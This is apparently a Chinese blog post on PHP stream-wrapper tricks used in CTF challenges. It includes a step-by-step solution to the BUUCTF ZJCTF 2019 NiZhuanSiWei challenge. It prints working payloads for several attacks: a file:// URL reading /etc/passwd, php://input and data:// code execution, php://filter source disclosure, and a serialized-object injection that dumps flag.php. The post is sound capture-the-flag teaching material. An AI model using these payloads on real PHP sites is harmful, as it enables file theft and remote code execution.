zoukankan      html  css  js  c++  java
  • CTF中常用的php伪协议利用

    file://

    作用:

    用于访问文件(绝对路径、相对路径、网络路径)

    示例:

    http://www.xx.com?file=file:///etc/passsword

    php://

    作用:访问输入输出流

    1. php://filter

    作用:

    读取源代码并进行base64编码输出

    示例:

    http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

    参数:

    resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
    read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
    write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
    <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

    2. php://input

    作用:

    执行POST数据中的php代码

    示例:

    http://127.0.0.1/cmd.php?cmd=php://input

    POST数据:<?php phpinfo()?>

    注意:

    enctype="multipart/form-data" 的时候 php://input 是无效的

    data://

    作用:

    自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输

    示例:

    http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

    实例(https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei)

    打开网址,给了源码

    <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    
    • 代码示意我们要get传参text,file,password
    • 通过初步观察,可基本确定text要求传入文件,且文件内容为:welcome to the zjctf、file传入一个文件名,通过include($file)包含进来、password未知

    伪协议第一次利用:
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

    这里需要我们传入一个文件且其内容为welcome to the zjctf,才可以进入判断进行下一步
    由于:在官方手册中file_get_contents()是用来将文件的内容读入到一个字符串中的首选方法,并且给出了几个运用实例。

    echo file_get_contents('http://www.xxx.com/aa.png', 'r');
    // 将会在该页面中输出图片
    

    在例子中发现:file_get_contents()$filename参数不仅仅为本地文件路径,还可以是一个网络路径URL。于是便可以利用伪协议:

    • 姿势一:data://协议利用
    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    // d2VsY29tZSB0byB0aGUgempjdGY= 解码后为 ----->  welcome to the zjctf
    
    
    url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    

    得到:

    • 姿势二:php://协议利用
    url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=php://input
    POST数据:welcome to the zjctf
    
    
    POST请求包:
    POST /?text=php://input HTTP/1.1
    Host: a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 20
    Origin: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn
    Connection: close
    Referer: http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/
    Upgrade-Insecure-Requests: 1
    
    welcome to the zjctf
    
    
    
    回包:
    HTTP/1.1 200 OK
    Server: openresty
    Date: Sat, 08 Feb 2020 11:45:53 GMT
    Content-Type: text/html; charset=UTF-8
    Content-Length: 38
    Connection: close
    X-Powered-By: PHP/5.6.40
    
    <br><h1>welcome to the zjctf</h1></br>
    

    伪协议第二次利用:

    $file = $_GET["file"];
    if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    

    此处过滤了flag这个关键字,要是直接给你包含了,那也·······
    可以看到代码注释中有一个useless.php,明面上说是没用,但是我们可以通过伪协议拉下来瞅瞅

    file=php://filter/read=convert.base64-encode/resource=useless.php
    

    为了方便我们前面便用data协议来绕过 if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),进入判断语句内部

    于是:

    url:http://a7425027-7eb1-43be-a0c9-47a34018d60b.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
    

    得到useless.phpbase64编码后的内容:
    PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKX sgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQT FoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

    解码后得到:

    <?php  
    
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>  
    

    这一段代码的意思是:获取这个$file参数代表的文件并且输出出来,注意Flag类中的$file参数与通过get传输$file参数不是同一个,两者位于不同的作用域!
    由其中的注释猜测,应该是要我们包含flag.php这个文件即可获得flag,即将Flag对象中的$file参数应为flag.php
    如果我们包含了useless.php,则整体代码变成了:

    <?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
                class Flag{  //flag.php  
            public $file;  
            public function __tostring(){  
                if(isset($this->file)){  
                    echo file_get_contents($this->file); 
                    echo "<br>";
                return ("U R SO CLOSE !///COME ON PLZ");
                }  
            } 
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }
    ?>
    
    

    $password = unserialize($password);中,unserialize()函数是一个反序列化函数。不熟悉序列化与反序列化的可以百度一下。
    若我们将一个序列化后的对象即一串字符串传给$password,那么我们会得到一个实例对象,我们便不难想象,若是我们将一个useless.php中的Flag对象(其中$file参数的值为flag.php)序列化后得到的字符串传给$password参数,经过反序列化后变变成了一个实例对象,一句可执行的代码,且能输出flag.php中的代码!震惊!!!
    于是构造:

    <?php  
    class Flag{   
        public $file="flag.php";    //Amazing   !!!!! 
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    $password = new Flag();
    echo serialize($password);
    ?>
    

    得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

    于是乎:
    payload: ?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    在url后加入以上语句后,会执行一下操作:

    • 首先,利用data伪协议,text参数便可以绕过if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")),顺利进入判断语句内
    • 然后,包含了useless.php文件,从而在原代码中引入了Flag对象,只有如此,在password参数反序列化才可输出flag.php文件的内容
    • 传入的password参数经过反序列化后,得到一个$file=flag.php的Flag对象,同时执行了该Flag对象内部的__tostring()方法,输出flag.php的内容,从而得到flag
      注意:需要查看网页源代码方可见到flag

    其他的伪协议:(菜鸡思维导图)
    链接:https://pan.baidu.com/s/1-C6FWW3SBLin_us4_Kk5EQ
    提取码:56vl

    参考:
    1:https://www.freebuf.com/column/148886.html
    2:https://www.redmango.top/article/13

  • 相关阅读:
    淘宝网的质量属性的六个常见属性场景
    架构漫谈读书笔记
    软件架构师的工作流程
    centos7通过docker安装mysql
    centos7下安装docker
    VMware 虚拟机下CentOS 7连接网络
    在JSP中使用el函数标签获取默认值(男女性别选项)
    ssm登录与退出
    MVC(Model -View-Controller)实例应用模式
    MVC模式
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/12285202.html
Copyright © 2011-2022 走看看